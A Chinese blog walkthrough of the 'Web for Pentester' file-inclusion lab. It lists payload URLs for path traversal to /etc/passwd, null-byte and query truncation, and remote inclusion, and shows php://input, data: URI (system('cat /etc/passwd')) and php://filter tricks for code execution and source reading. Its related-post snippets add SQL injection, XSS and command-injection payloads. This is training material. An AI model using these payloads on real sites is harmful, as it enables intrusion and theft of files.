【渗透测试学习平台】 web for pentester -7.文件包含
Example 1
输入单引号,报错,得到物理路径

可通过../../../../etc/paaswd 读取敏感信息

可包含本地文件或远程文件
https://assets.pentesterlab.com/test_include.txt

Example 2
加单引号,报错,可发现获取到的参数后面会加上.php后缀

通过%00截断后面字符
http://192.168.106.154/fileincl/example2.php?page=https://assets.pentesterlab.com/test_include.txt%00

文件包含截断技巧:
1、%00截截断
2、文件路径长度截断
3、截断远程包含 问号截断法 url的话就可以随意发挥了,把不想要的扔到参数里面就好了,非常简单
http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt?id=
或者直接 http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt?
1、将文件包含漏洞变成代码执行漏洞
php://input <?php phpinfo();?>

2、通过data URI schema
http://192.168.106.154/fileincl/example1.php?page=data:text/plain,<?php system('cat /etc/passwd')?>
http://192.168.106.154/fileincl/example1.php?page=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOw==

3、通过php://filter读取源码
http://192.168.106.154/fileincl/example1.php?page=php://filter/read=convert.base64-encode/resource=intro.php

base64解码

最后
欢迎关注个人微信公众号:Bypass--,每周一篇原创高质量的干货。

参考文章:
文件包含漏洞小结 http://www.cnblogs.com/iamstudy/articles/include_file.html
php://input,php://filter,data URI schema的那些事 http://www.cnblogs.com/qing123/p/4513870.html
截断在文件包含和上传中的利用 http://www.joychou.org/index.php/web/truncated.html
PHP文件包含漏洞总结 https://www.secpulse.com/archives/3206.html
盘点那些渗透测试中的奇淫技巧 https://bbs.ichunqiu.com/thread-14031-1-1.html
【渗透测试学习平台】 web for pentester -7.文件包含的更多相关文章
- 【渗透测试学习平台】 web for pentester -1.介绍与安装
web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术. 官网:https://www.pentesterlab.com 下载地址: ...
- 【渗透测试学习平台】 web for pentester -2.SQL注入
Example 1 字符类型的注入,无过滤 http://192.168.91.139/sqli/example1.php?name=root http://192.168.91.139/sqli/e ...
- 【渗透测试学习平台】 web for pentester -4.XML
example1: http://192.168.91.139/xml/example1.php?xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%2 ...
- 【渗透测试学习平台】 web for pentester -3.XSS
Example 1 http://192.168.91.139/xss/example1.php?name=hacker<script>alert('xss')</script> ...
- 【渗透测试学习平台】 web for pentester -8.XML
example1: http://192.168.91.139/xml/example1.php?xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%2 ...
- 【渗透测试学习平台】 web for pentester -6.命令执行
命令执行漏洞 windows支持: | ping 127.0.0.1|whoami || ping 2 || whoami (哪条名 ...
- 【渗透测试学习平台】 web for pentester -5.代码执行
Example 1 http://192.168.106.154/codeexec/example1.php?name=".system('uname -a');// Example 2 h ...
- 【渗透测试学习平台】 web for pentester -4.目录遍历
Example 1 http://192.168.106.154/dirtrav/example1.php?file=../../../../../../../etc/passwd Example 2 ...
- 风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协议进行攻击
风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协议进行攻击 文件包含漏洞 参考文章:https://chybeta.github.io/2017/10/08/php文件包含漏洞/ 分类 ...
随机推荐
- 【转】Java检测字符串是否有乱码
package cn.cnnic.ops.learn; import java.util.regex.Matcher;import java.util.regex.Pattern; public cl ...
- SVN开启端口监听,并设置开机启动
svnserve -d -r /home/svn/repo --listen-port=3690,svn仓库地址,及监听端口 vi svn_startup.sh,位置在/root下面编辑一个启动脚本, ...
- LeetCode: Divide Two Integers 解题报告
Divide Two Integers Divide two integers without using multiplication, division and mod operator. SOL ...
- vsftpd配置文件丢失
deeplinux 卸载vsftpd重装,配置文件/etc/vsftpd.conf不能自动安装,解决办法如下: apt-get remove vsftpd --purge apt-get instal ...
- docker centos7 dbus error解决方法
在centos7 上使用centos7的docker镜像结果不能使用systemd,提示 Failed to get D-Bus connection: No connection to servic ...
- 【ExtJS】各种获取元素组件方法
1.get().getDom().getCmp().getBody().getDoc(): get(id/obj): get方法用来得到一个Ext元素,也就是类型为Ext.Element的对象, Ex ...
- SQL数据库,如何把服务器中的一张表插入到另外一个服务器的一张表中
先开启 exec sp_configure 'show advanced options',1 reconfigure exec sp_configure 'Ad Hoc Distributed Qu ...
- tcp与http的区别
1.TCP连接 手机能够使用联网功能是因为手机底层实现了TCP/IP协议,可以使手机终端通过无线网络建立TCP连接.TCP协议可以对上层网络提供接口,使上层网络数据的传输建立在“无差别”的网络之上. ...
- Error -27780: Connection reset by peer: socket write error
Problem Description: Error: "-27780: read to host failed: [10054] Connection reset by peer" ...
- Qt学习之路(tip): parent参数
这是一篇很简单的文章,仅仅是用来说明一下一个参数的作用,因此我把它写成了tip,而不是接下来的17. 程序写的多了,你会发现几乎所有的Qt类的构造函数都会有一个parent参数.这个参数通常是QO ...